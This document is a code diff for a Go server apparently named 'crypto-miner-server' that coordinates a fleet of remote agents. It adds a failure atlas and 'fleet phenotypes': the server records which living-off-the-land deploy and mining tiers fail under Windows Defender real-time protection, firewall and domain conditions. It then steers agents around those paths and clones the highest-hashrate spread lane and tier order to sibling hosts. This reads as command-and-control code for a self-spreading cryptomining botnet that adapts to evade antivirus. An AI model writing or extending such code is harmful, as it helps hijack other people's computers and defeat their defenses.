}
|
||||||
|
var snap struct {
|
||||||
|
Stuck bool `json:"stuck"`
|
||||||
|
DeployTiers []struct {
|
||||||
|
Attempted bool `json:"attempted"`
|
||||||
|
OK bool `json:"ok"`
|
||||||
|
Skipped bool `json:"skipped"`
|
||||||
|
} `json:"deploy_tiers"`
|
||||||
|
MiningTiers []struct {
|
||||||
|
Attempted bool `json:"attempted"`
|
||||||
|
OK bool `json:"ok"`
|
||||||
|
Skipped bool `json:"skipped"`
|
||||||
|
} `json:"mining_tiers"`
|
||||||
|
ClearanceLevel int `json:"clearance_level"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(msg.Payload, &snap); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
failed := 0
|
||||||
|
for _, t := range append(snap.DeployTiers, snap.MiningTiers...) {
|
||||||
|
if t.Attempted && !t.OK && !t.Skipped {
|
||||||
|
failed++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
h.cacheAgentTelemetry(agentID, map[string]interface{}{
|
||||||
|
"stuck": snap.Stuck,
|
||||||
|
"failed_tier_count": failed,
|
||||||
|
"clearance_level": snap.ClearanceLevel,
|
||||||
|
})
|
||||||
|
|
||||||
case "submit_share":
|
case "submit_share":
|
||||||
if agentID == "" {
|
if agentID == "" {
|
||||||
continue
|
continue
|
||||||
@@ -1701,6 +1795,9 @@ func (h *WSHub) RemoveAgent(agentID string) {
|
|||||||
delete(h.agentLogs, agentID)
|
delete(h.agentLogs, agentID)
|
||||||
delete(h.agentCapabilities, agentID)
|
delete(h.agentCapabilities, agentID)
|
||||||
delete(h.agentLiveTelemetry, agentID)
|
delete(h.agentLiveTelemetry, agentID)
|
||||||
|
if h.clearance != nil {
|
||||||
|
h.clearance.RemoveAgent(agentID)
|
||||||
|
}
|
||||||
ac.Conn.Close()
|
ac.Conn.Close()
|
||||||
}
|
}
|
||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
@@ -1766,6 +1863,20 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
adaptive := engine.StrategyForAgent(agentID, fp)
|
adaptive := engine.StrategyForAgent(agentID, fp)
|
||||||
|
h.mu.RLock()
|
||||||
|
atlasEngine := h.failureAtlas
|
||||||
|
aiMode := h.serverPolicy.AIControlEnabled
|
||||||
|
h.mu.RUnlock()
|
||||||
|
if atlasEngine != nil && !aiMode {
|
||||||
|
var defenderEnabled, defenderRTP *bool
|
||||||
|
if ag, err := h.db.GetAgent(agentID); err == nil {
|
||||||
|
defenderEnabled = ag.DefenderEnabled
|
||||||
|
defenderRTP = ag.DefenderRTP
|
||||||
|
}
|
||||||
|
if skips, _ := atlasEngine.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 {
|
||||||
|
atlas.MergeSkipsIntoStrategy(&adaptive, skips)
|
||||||
|
}
|
||||||
|
}
|
||||||
payload, err := json.Marshal(adaptive)
|
payload, err := json.Marshal(adaptive)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
continue
|
continue
|
||||||
@@ -1779,12 +1890,12 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) {
|
func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) {
|
||||||
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
platform, _ := payload["platform"].(string)
|
platform, _ := payload["platform"].(string)
|
||||||
ip, _ := payload["ip"].(string)
|
ip, _ := payload["ip"].(string)
|
||||||
var defenderRTP, firewallDomain *bool
|
var defenderEnabled, defenderRTP, firewallDomain *bool
|
||||||
|
if v, ok := payload["defender_enabled"].(bool); ok {
|
||||||
|
defenderEnabled = &v
|
||||||
|
}
|
||||||
if v, ok := payload["defender_rtp"].(bool); ok {
|
if v, ok := payload["defender_rtp"].(bool); ok {
|
||||||
defenderRTP = &v
|
defenderRTP = &v
|
||||||
}
|
}
|
||||||
@@ -1794,7 +1905,64 @@ func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]int
|
|||||||
attempts := parseLOTLAttemptsFromPayload(payload)
|
attempts := parseLOTLAttemptsFromPayload(payload)
|
||||||
hashrate, _ := payload["mining_hashrate"].(float64)
|
hashrate, _ := payload["mining_hashrate"].(float64)
|
||||||
activeTier, _ := payload["lotl_tier"].(string)
|
activeTier, _ := payload["lotl_tier"].(string)
|
||||||
|
joinLane, _ := payload["join_lane"].(string)
|
||||||
|
chainOrder := parseStringSliceField(payload["chain_order"])
|
||||||
|
h.ingestAtlasFromStats(agentID, platform, ip, defenderEnabled, defenderRTP, firewallDomain, attempts)
|
||||||
|
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
|
||||||
|
return
|
||||||
|
}
|
||||||
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier)
|
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier)
|
||||||
|
h.tryPublishWinningPhenotype(agentID, platform, ip, firewallDomain, attempts, hashrate, activeTier, joinLane, chainOrder)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) ingestAtlasFromStats(
|
||||||
|
agentID, platform, ip string,
|
||||||
|
defenderEnabled, defenderRTP, firewallDomain *bool,
|
||||||
|
attempts []struct {
|
||||||
|
Tier string `json:"tier"`
|
||||||
|
OK bool `json:"ok"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
DurationMs int64 `json:"duration_ms"`
|
||||||
|
Wallet string `json:"wallet,omitempty"`
|
||||||
|
},
|
||||||
|
) {
|
||||||
|
if h.failureAtlas == nil || h.db == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if platform == "" || ip == "" {
|
||||||
|
if ag, err := h.db.GetAgent(agentID); err == nil {
|
||||||
|
if platform == "" {
|
||||||
|
platform = ag.Platform
|
||||||
|
}
|
||||||
|
if ip == "" {
|
||||||
|
ip = ag.IP
|
||||||
|
}
|
||||||
|
if firewallDomain == nil {
|
||||||
|
firewallDomain = ag.FirewallDomain
|
||||||
|
}
|
||||||
|
if defenderEnabled == nil {
|
||||||
|
defenderEnabled = ag.DefenderEnabled
|
||||||
|
}
|
||||||
|
if defenderRTP == nil {
|
||||||
|
defenderRTP = ag.DefenderRTP
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
domainJoined := firewallDomain != nil && *firewallDomain
|
||||||
|
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
||||||
|
if defenderRTP != nil && *defenderRTP {
|
||||||
|
fp.AVBlocks = true
|
||||||
|
}
|
||||||
|
snap := atlas.ProbeSnapshotFromMaps(fp, nil, defenderEnabled, defenderRTP)
|
||||||
|
conds := atlas.ExtractConditions(fp, snap)
|
||||||
|
for _, a := range attempts {
|
||||||
|
if a.OK || strings.TrimSpace(a.Tier) == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err := h.failureAtlas.RecordFailure(fp.Key(), a.Tier, conds); err != nil {
|
||||||
|
log.Printf("[atlas] record failure: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *WSHub) ingestStrategyFromStats(
|
func (h *WSHub) ingestStrategyFromStats(
|
||||||
@@ -1844,6 +2012,80 @@ func (h *WSHub) ingestStrategyFromStats(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) tryPublishWinningPhenotype(
|
||||||
|
agentID, platform, ip string,
|
||||||
|
firewallDomain *bool,
|
||||||
|
attempts []struct {
|
||||||
|
Tier string `json:"tier"`
|
||||||
|
OK bool `json:"ok"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
DurationMs int64 `json:"duration_ms"`
|
||||||
|
Wallet string `json:"wallet,omitempty"`
|
||||||
|
},
|
||||||
|
miningHashrate float64,
|
||||||
|
activeTier, joinLane string,
|
||||||
|
chainOrder []string,
|
||||||
|
) {
|
||||||
|
if h.db == nil || miningHashrate <= 0 || strings.TrimSpace(activeTier) == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
ag, err := h.db.GetAgent(agentID)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if platform == "" {
|
||||||
|
platform = ag.Platform
|
||||||
|
}
|
||||||
|
if ip == "" {
|
||||||
|
ip = ag.IP
|
||||||
|
}
|
||||||
|
if firewallDomain == nil {
|
||||||
|
firewallDomain = ag.FirewallDomain
|
||||||
|
}
|
||||||
|
domainJoined := firewallDomain != nil && *firewallDomain
|
||||||
|
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
||||||
|
stratAttempts := make([]strategy.TierAttempt, len(attempts))
|
||||||
|
for i, a := range attempts {
|
||||||
|
stratAttempts[i] = strategy.TierAttempt{Tier: a.Tier, OK: a.OK}
|
||||||
|
}
|
||||||
|
fallback := append([]string(nil), chainOrder...)
|
||||||
|
if len(fallback) == 0 {
|
||||||
|
fallback = append(fallback, strategy.DefaultMiningTierOrder...)
|
||||||
|
}
|
||||||
|
tierOrder := strategy.BuildWinningTierOrder(stratAttempts, activeTier, fallback)
|
||||||
|
if len(tierOrder) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
pheno := strategy.FleetPhenotype{
|
||||||
|
SourceAgentID: agentID,
|
||||||
|
SourceAgentName: ag.Name,
|
||||||
|
Fingerprint: fp.Key(),
|
||||||
|
OS: fp.GOOS,
|
||||||
|
SpreadLane: strings.TrimSpace(joinLane),
|
||||||
|
ActiveTier: strings.TrimSpace(activeTier),
|
||||||
|
TierOrder: tierOrder,
|
||||||
|
PeakHashrate: miningHashrate,
|
||||||
|
CreatedAt: time.Now().UTC(),
|
||||||
|
}
|
||||||
|
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
|
||||||
|
log.Printf("[phenotype] publish: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseStringSliceField(raw interface{}) []string {
|
||||||
|
arr, ok := raw.([]interface{})
|
||||||
|
if !ok {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
out := make([]string, 0, len(arr))
|
||||||
|
for _, v := range arr {
|
||||||
|
if s, ok := v.(string); ok && strings.TrimSpace(s) != "" {
|
||||||
|
out = append(out, s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct {
|
func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct {
|
||||||
Tier string `json:"tier"`
|
Tier string `json:"tier"`
|
||||||
OK bool `json:"ok"`
|
OK bool `json:"ok"`
|
||||||
|
|||||||
@@ -58,11 +58,18 @@ func authAgentConn(t *testing.T, conn *websocket.Conn, payload map[string]interf
|
|||||||
if err := conn.WriteJSON(Message{Type: "auth", Payload: data}); err != nil {
|
if err := conn.WriteJSON(Message{Type: "auth", Payload: data}); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
deadline := time.Now().Add(3 * time.Second)
|
||||||
|
for time.Now().Before(deadline) {
|
||||||
var resp Message
|
var resp Message
|
||||||
if err := conn.ReadJSON(&resp); err != nil {
|
if err := conn.ReadJSON(&resp); err != nil {
|
||||||
t.Fatalf("read auth_response: %v", err)
|
t.Fatalf("read auth_response: %v", err)
|
||||||
}
|
}
|
||||||
|
if resp.Type == "auth_response" {
|
||||||
return resp
|
return resp
|
||||||
|
}
|
||||||
|
}
|
||||||
|
t.Fatal("timed out waiting for auth_response")
|
||||||
|
return Message{}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestWSHubPingIntervalConstants(t *testing.T) {
|
func TestWSHubPingIntervalConstants(t *testing.T) {
|
||||||
|
|||||||
149
server/internal/db/phenotype.go
Normal file
149
server/internal/db/phenotype.go
Normal file
@@ -0,0 +1,149 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// StoredPhenotype is the persisted best winning path for a fingerprint bucket.
|
||||||
|
type StoredPhenotype struct {
|
||||||
|
ID string
|
||||||
|
Fingerprint string
|
||||||
|
SourceAgentID string
|
||||||
|
SourceAgentName string
|
||||||
|
OS string
|
||||||
|
SpreadLane string
|
||||||
|
ActiveTier string
|
||||||
|
TierOrder []string
|
||||||
|
PeakHashrate float64
|
||||||
|
CreatedAt time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) UpsertFleetPhenotype(p StoredPhenotype) (bool, error) {
|
||||||
|
if d == nil || strings.TrimSpace(p.Fingerprint) == "" {
|
||||||
|
return false, nil
|
||||||
|
}
|
||||||
|
existing, err := d.GetFleetPhenotypeByFingerprint(p.Fingerprint)
|
||||||
|
if err != nil && !errors.Is(err, sql.ErrNoRows) {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
if existing != nil && p.PeakHashrate <= existing.PeakHashrate {
|
||||||
|
return false, nil
|
||||||
|
}
|
||||||
|
if p.ID == "" {
|
||||||
|
p.ID = uuid.NewString()
|
||||||
|
}
|
||||||
|
if p.CreatedAt.IsZero() {
|
||||||
|
p.CreatedAt = time.Now().UTC()
|
||||||
|
}
|
||||||
|
tierJSON, err := json.Marshal(p.TierOrder)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
_, err = d.Exec(
|
||||||
|
`INSERT INTO fleet_phenotypes (
|
||||||
|
id, fingerprint, source_agent_id, source_agent_name, os, spread_lane,
|
||||||
|
active_tier, tier_order_json, peak_hashrate, created_at
|
||||||
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
|
ON CONFLICT(fingerprint) DO UPDATE SET
|
||||||
|
id = excluded.id,
|
||||||
|
source_agent_id = excluded.source_agent_id,
|
||||||
|
source_agent_name = excluded.source_agent_name,
|
||||||
|
os = excluded.os,
|
||||||
|
spread_lane = excluded.spread_lane,
|
||||||
|
active_tier = excluded.active_tier,
|
||||||
|
tier_order_json = excluded.tier_order_json,
|
||||||
|
peak_hashrate = excluded.peak_hashrate,
|
||||||
|
created_at = excluded.created_at
|
||||||
|
WHERE excluded.peak_hashrate > fleet_phenotypes.peak_hashrate`,
|
||||||
|
p.ID, p.Fingerprint, p.SourceAgentID, p.SourceAgentName, p.OS, p.SpreadLane,
|
||||||
|
p.ActiveTier, string(tierJSON), p.PeakHashrate, p.CreatedAt,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) GetFleetPhenotypeByFingerprint(fingerprint string) (*StoredPhenotype, error) {
|
||||||
|
fingerprint = strings.TrimSpace(fingerprint)
|
||||||
|
if fingerprint == "" {
|
||||||
|
return nil, sql.ErrNoRows
|
||||||
|
}
|
||||||
|
row := d.QueryRow(
|
||||||
|
`SELECT id, fingerprint, source_agent_id, source_agent_name, os, spread_lane,
|
||||||
|
active_tier, tier_order_json, peak_hashrate, created_at
|
||||||
|
FROM fleet_phenotypes WHERE fingerprint = ?`,
|
||||||
|
fingerprint,
|
||||||
|
)
|
||||||
|
return scanFleetPhenotype(row)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) ListFleetPhenotypes(fingerprint string) ([]StoredPhenotype, error) {
|
||||||
|
fingerprint = strings.TrimSpace(fingerprint)
|
||||||
|
var (
|
||||||
|
rows *sql.Rows
|
||||||
|
err error
|
||||||
|
)
|
||||||
|
if fingerprint != "" {
|
||||||
|
rows, err = d.Query(
|
||||||
|
`SELECT id, fingerprint, source_agent_id, source_agent_name, os, spread_lane,
|
||||||
|
active_tier, tier_order_json, peak_hashrate, created_at
|
||||||
|
FROM fleet_phenotypes WHERE fingerprint = ? ORDER BY peak_hashrate DESC`,
|
||||||
|
fingerprint,
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
rows, err = d.Query(
|
||||||
|
`SELECT id, fingerprint, source_agent_id, source_agent_name, os, spread_lane,
|
||||||
|
active_tier, tier_order_json, peak_hashrate, created_at
|
||||||
|
FROM fleet_phenotypes ORDER BY peak_hashrate DESC`,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
var out []StoredPhenotype
|
||||||
|
for rows.Next() {
|
||||||
|
p, err := scanFleetPhenotypeRow(rows)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
out = append(out, *p)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
func scanFleetPhenotype(row *sql.Row) (*StoredPhenotype, error) {
|
||||||
|
return scanFleetPhenotypeRow(row)
|
||||||
|
}
|
||||||
|
|
||||||
|
type phenotypeScanner interface {
|
||||||
|
Scan(dest ...interface{}) error
|
||||||
|
}
|
||||||
|
|
||||||
|
func scanFleetPhenotypeRow(row phenotypeScanner) (*StoredPhenotype, error) {
|
||||||
|
var p StoredPhenotype
|
||||||
|
var tierJSON string
|
||||||
|
var createdAt string
|
||||||
|
if err := row.Scan(
|
||||||
|
&p.ID, &p.Fingerprint, &p.SourceAgentID, &p.SourceAgentName, &p.OS, &p.SpreadLane,
|
||||||
|
&p.ActiveTier, &tierJSON, &p.PeakHashrate, &createdAt,
|
||||||
|
); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if tierJSON != "" {
|
||||||
|
_ = json.Unmarshal([]byte(tierJSON), &p.TierOrder)
|
||||||
|
}
|
||||||
|
if t, err := time.Parse(time.RFC3339, createdAt); err == nil {
|
||||||
|
p.CreatedAt = t
|
||||||
|
} else if t, err := time.Parse("2006-01-02 15:04:05", createdAt); err == nil {
|
||||||
|
p.CreatedAt = t.UTC()
|
||||||
|
}
|
||||||
|
return &p, nil
|
||||||
|
}
|
||||||
56
server/internal/db/phenotype_test.go
Normal file
56
server/internal/db/phenotype_test.go
Normal file
@@ -0,0 +1,56 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestUpsertFleetPhenotypeKeepsBestPeak(t *testing.T) {
|
||||||
|
d, err := New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = d.Close() })
|
||||||
|
|
||||||
|
fp := "windows|0|0|0|0|0|192.168.1"
|
||||||
|
updated, err := d.UpsertFleetPhenotype(StoredPhenotype{
|
||||||
|
Fingerprint: fp, SourceAgentID: "a1", SourceAgentName: "worker-07",
|
||||||
|
TierOrder: []string{"wsl"}, PeakHashrate: 400,
|
||||||
|
})
|
||||||
|
if err != nil || !updated {
|
||||||
|
t.Fatalf("first upsert: updated=%v err=%v", updated, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
updated, err = d.UpsertFleetPhenotype(StoredPhenotype{
|
||||||
|
Fingerprint: fp, SourceAgentID: "a2", SourceAgentName: "worker-12",
|
||||||
|
TierOrder: []string{"container"}, PeakHashrate: 200,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if updated {
|
||||||
|
t.Fatal("lower peak should not replace winner")
|
||||||
|
}
|
||||||
|
|
||||||
|
got, err := d.GetFleetPhenotypeByFingerprint(fp)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if got.SourceAgentName != "worker-07" || got.PeakHashrate != 400 {
|
||||||
|
t.Fatalf("unexpected best phenotype: %+v", got)
|
||||||
|
}
|
||||||
|
|
||||||
|
updated, err = d.UpsertFleetPhenotype(StoredPhenotype{
|
||||||
|
Fingerprint: fp, SourceAgentID: "a3", SourceAgentName: "worker-99",
|
||||||
|
TierOrder: []string{"cpu_inprocess"}, PeakHashrate: 900,
|
||||||
|
})
|
||||||
|
if err != nil || !updated {
|
||||||
|
t.Fatalf("higher peak upsert: updated=%v err=%v", updated, err)
|
||||||
|
}
|
||||||
|
got, err = d.GetFleetPhenotypeByFingerprint(fp)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if got.SourceAgentName != "worker-99" || got.PeakHashrate != 900 {
|
||||||
|
t.Fatalf("expected new winner, got %+v", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -214,6 +214,30 @@ func (d *Database) migrate() error {
|
|||||||
strategy_json TEXT NOT NULL,
|
strategy_json TEXT NOT NULL,
|
||||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||||
)`,
|
)`,
|
||||||
|
`CREATE TABLE IF NOT EXISTS failure_atlas (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
fingerprint_bucket TEXT NOT NULL,
|
||||||
|
condition TEXT NOT NULL,
|
||||||
|
tier TEXT NOT NULL,
|
||||||
|
fail_count INTEGER NOT NULL DEFAULT 0,
|
||||||
|
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
UNIQUE(fingerprint_bucket, condition, tier)
|
||||||
|
)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_failure_atlas_bucket ON failure_atlas(fingerprint_bucket)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_failure_atlas_tier ON failure_atlas(tier)`,
|
||||||
|
`CREATE TABLE IF NOT EXISTS fleet_phenotypes (
|
||||||
|
id TEXT PRIMARY KEY,
|
||||||
|
fingerprint TEXT NOT NULL UNIQUE,
|
||||||
|
source_agent_id TEXT NOT NULL,
|
||||||
|
source_agent_name TEXT NOT NULL,
|
||||||
|
os TEXT NOT NULL DEFAULT '',
|
||||||
|
spread_lane TEXT NOT NULL DEFAULT '',
|
||||||
|
active_tier TEXT NOT NULL DEFAULT '',
|
||||||
|
tier_order_json TEXT NOT NULL DEFAULT '[]',
|
||||||
|
peak_hashrate REAL NOT NULL DEFAULT 0,
|
||||||
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||||
|
)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_fleet_phenotypes_fingerprint ON fleet_phenotypes(fingerprint)`,
|
||||||
}
|
}
|
||||||
for _, m := range extraMigrations {
|
for _, m := range extraMigrations {
|
||||||
if _, err := d.Exec(m); err != nil {
|
if _, err := d.Exec(m); err != nil {
|
||||||
|
|||||||
@@ -122,11 +122,27 @@ type Agent struct {
|
|||||||
// Last successful discover_and_join supply-chain lane.
|
// Last successful discover_and_join supply-chain lane.
|
||||||
JoinLane string `json:"join_lane,omitempty"`
|
JoinLane string `json:"join_lane,omitempty"`
|
||||||
|
|
||||||
|
// Session security clearance (L0–L4); set live by WSHub, not persisted.
|
||||||
|
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||||
|
|
||||||
|
// Fleet phenotype cloned from a sibling with the same host fingerprint (WS auth only).
|
||||||
|
InheritedPhenotype *AgentInheritedPhenotype `json:"inherited_phenotype,omitempty"`
|
||||||
|
|
||||||
// Authorized fleet vulnerability recon (read-only LOTL probe tier)
|
// Authorized fleet vulnerability recon (read-only LOTL probe tier)
|
||||||
VulnFindings []VulnFinding `json:"vuln_findings,omitempty"`
|
VulnFindings []VulnFinding `json:"vuln_findings,omitempty"`
|
||||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// AgentInheritedPhenotype is the dashboard view of a cloned winning path.
|
||||||
|
type AgentInheritedPhenotype struct {
|
||||||
|
SourceAgentName string `json:"source_agent_name"`
|
||||||
|
Fingerprint string `json:"fingerprint,omitempty"`
|
||||||
|
SpreadLane string `json:"spread_lane,omitempty"`
|
||||||
|
TierOrder []string `json:"tier_order,omitempty"`
|
||||||
|
ActiveTier string `json:"active_tier,omitempty"`
|
||||||
|
PeakHashrate float64 `json:"peak_hashrate,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
// VulnFinding mirrors agent vuln_findings stats payload.
|
// VulnFinding mirrors agent vuln_findings stats payload.
|
||||||
type VulnFinding struct {
|
type VulnFinding struct {
|
||||||
CVEID string `json:"cve_id"`
|
CVEID string `json:"cve_id"`
|
||||||
|
|||||||
77
server/internal/strategy/phenotype.go
Normal file
77
server/internal/strategy/phenotype.go
Normal file
@@ -0,0 +1,77 @@
|
|||||||
|
package strategy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// FleetPhenotype is the best-known winning path for a host fingerprint bucket.
|
||||||
|
type FleetPhenotype struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
SourceAgentID string `json:"source_agent_id"`
|
||||||
|
SourceAgentName string `json:"source_agent_name"`
|
||||||
|
Fingerprint string `json:"fingerprint"`
|
||||||
|
OS string `json:"os"`
|
||||||
|
SpreadLane string `json:"spread_lane,omitempty"`
|
||||||
|
ActiveTier string `json:"active_tier,omitempty"`
|
||||||
|
TierOrder []string `json:"tier_order"`
|
||||||
|
PeakHashrate float64 `json:"peak_hashrate"`
|
||||||
|
CreatedAt time.Time `json:"created_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// InheritedPhenotype is pushed to sibling agents on auth when fingerprint matches.
|
||||||
|
type InheritedPhenotype struct {
|
||||||
|
SourceAgentName string `json:"source_agent_name"`
|
||||||
|
Fingerprint string `json:"fingerprint"`
|
||||||
|
SpreadLane string `json:"spread_lane,omitempty"`
|
||||||
|
TierOrder []string `json:"tier_order"`
|
||||||
|
ActiveTier string `json:"active_tier,omitempty"`
|
||||||
|
PeakHashrate float64 `json:"peak_hashrate,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// TierAttempt is a minimal stats/tier_report attempt for phenotype tier_order building.
|
||||||
|
type TierAttempt struct {
|
||||||
|
Tier string
|
||||||
|
OK bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// BuildWinningTierOrder derives spread+mining tier order from successful attempts.
|
||||||
|
func BuildWinningTierOrder(attempts []TierAttempt, activeTier string, fallback []string) []string {
|
||||||
|
seen := make(map[string]bool)
|
||||||
|
order := make([]string, 0, len(attempts)+1)
|
||||||
|
for _, a := range attempts {
|
||||||
|
tier := strings.TrimSpace(a.Tier)
|
||||||
|
if !a.OK || tier == "" || seen[tier] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
order = append(order, tier)
|
||||||
|
seen[tier] = true
|
||||||
|
}
|
||||||
|
if len(order) == 0 && len(fallback) > 0 {
|
||||||
|
for _, t := range fallback {
|
||||||
|
tier := strings.TrimSpace(t)
|
||||||
|
if tier == "" || seen[tier] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
order = append(order, tier)
|
||||||
|
seen[tier] = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
activeTier = strings.TrimSpace(activeTier)
|
||||||
|
if activeTier != "" && !seen[activeTier] {
|
||||||
|
order = append(order, activeTier)
|
||||||
|
}
|
||||||
|
return order
|
||||||
|
}
|
||||||
|
|
||||||
|
// ToInherited converts a stored phenotype into an auth payload for sibling agents.
|
||||||
|
func (p FleetPhenotype) ToInherited() InheritedPhenotype {
|
||||||
|
return InheritedPhenotype{
|
||||||
|
SourceAgentName: p.SourceAgentName,
|
||||||
|
Fingerprint: p.Fingerprint,
|
||||||
|
SpreadLane: p.SpreadLane,
|
||||||
|
TierOrder: append([]string(nil), p.TierOrder...),
|
||||||
|
ActiveTier: p.ActiveTier,
|
||||||
|
PeakHashrate: p.PeakHashrate,
|
||||||
|
}
|
||||||
|
}
|
||||||
35
server/internal/strategy/phenotype_store.go
Normal file
35
server/internal/strategy/phenotype_store.go
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
package strategy
|
||||||
|
|
||||||
|
import "crypto-miner-server/internal/db"
|
||||||
|
|
||||||
|
// PhenotypeToStored converts a strategy phenotype into a DB row.
|
||||||
|
func PhenotypeToStored(p FleetPhenotype) db.StoredPhenotype {
|
||||||
|
return db.StoredPhenotype{
|
||||||
|
ID: p.ID,
|
||||||
|
SourceAgentID: p.SourceAgentID,
|
||||||
|
SourceAgentName: p.SourceAgentName,
|
||||||
|
Fingerprint: p.Fingerprint,
|
||||||
|
OS: p.OS,
|
||||||
|
SpreadLane: p.SpreadLane,
|
||||||
|
ActiveTier: p.ActiveTier,
|
||||||
|
TierOrder: append([]string(nil), p.TierOrder...),
|
||||||
|
PeakHashrate: p.PeakHashrate,
|
||||||
|
CreatedAt: p.CreatedAt,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// PhenotypeFromStored converts a DB row into a strategy phenotype.
|
||||||
|
func PhenotypeFromStored(p db.StoredPhenotype) FleetPhenotype {
|
||||||
|
return FleetPhenotype{
|
||||||
|
ID: p.ID,
|
||||||
|
SourceAgentID: p.SourceAgentID,
|
||||||
